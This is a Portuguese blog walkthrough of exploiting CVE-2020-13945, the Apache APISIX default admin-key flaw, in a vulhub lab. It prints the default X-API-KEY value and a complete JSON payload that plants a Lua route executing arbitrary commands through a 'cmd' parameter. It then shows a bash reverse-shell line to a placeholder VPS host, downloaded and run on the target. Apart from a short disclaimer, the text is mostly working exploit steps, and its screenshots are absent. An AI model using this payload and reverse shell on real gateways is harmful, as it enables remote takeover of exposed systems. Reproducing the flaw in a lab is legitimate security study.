Vulnerabilidade de chave padrão Apache apisix (CVE-2020-13945)


Isenção de responsabilidade: Este artigo é apenas para aprendizado e referência. Todos os recursos envolvidos nele são da Internet. Por favor, não os use para nenhum ato ilegal, caso contrário você arcará com as consequências correspondentes e não assumo qualquer responsabilidade legal e conjunta e vários passivos.

Descrição da vulnerabilidade

O Apache APISIX é um gateway de API dinâmico, em tempo real e de alto desempenho, implementado com base na biblioteca de rede Nginx e etcd, fornecendo balanceamento de carga, upstream dinâmico, liberação em escala de cinza, fusível de serviço, autenticação de identidade, observabilidade e outras funções avançadas de gerenciamento de tráfego. Quando o usuário abre a API Admin, não configura a política de acesso IP correspondente e não modifica o Token do arquivo de configuração, o invasor pode usar o Token padrão do Apache APISIX para acessar o Apache APISIX, controlando assim o gateway APISIX.

Versão afetada

Apache APISIX 1.2

Apache APISIX 1.3

Apache APISIX 1.4

Apache APISIX 1.5

Recorrência de vulnerabilidade

O ambiente de vulnerabilidade ainda é construído por meio do vulhub, então não vou repeti-lo aqui.

insira a descrição da imagem aqui
Visite http://192.168.10.171:9080/apisix/admin/routes, indicando que /apisix/admin/routes está ativado

insira a descrição da imagem aqui
Capture a mensagem e faça as seguintes modificações

1. Altere o método de solicitação para POST

2. Adicione o parâmetro X-API-KEY: edd1c9f034335f136f87ad84b625c8f1

3. Adicionar carga útil

{
    
    
    "uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close()  \n end \nreturn _M",
    "upstream": {
    
    
        "type": "roundrobin",
        "nodes": {
    
    
            "example.com:80": 1
        }
    }
}

insira a descrição da imagem aqui
Em seguida, acesse o roteador que você acabou de adicionar e execute qualquer comando através do parâmetro cmd

insira a descrição da imagem aqui
A seguir, vamos demonstrar a conexão reversa deste servidor na intranet para o VPS

Primeiro, escreva um shell script rebote bash -i >& /dev/tcp/VPS_IP/VPS_PORT 0>&1 no VPS e, em seguida, use python para iniciar um serviço http: python3 -m http.server

insira a descrição da imagem aqui
Baixe o arquivo de script test.sh

insira a descrição da imagem aqui
Em seguida, execute o arquivo de script test.sh

insira a descrição da imagem aqui

Veja os resultados de rejeição no VPS

insira a descrição da imagem aqui

Acho que você gosta

Origin blog.csdn.net/guo15890025019/article/details/129461063
Recomendado
Clasificación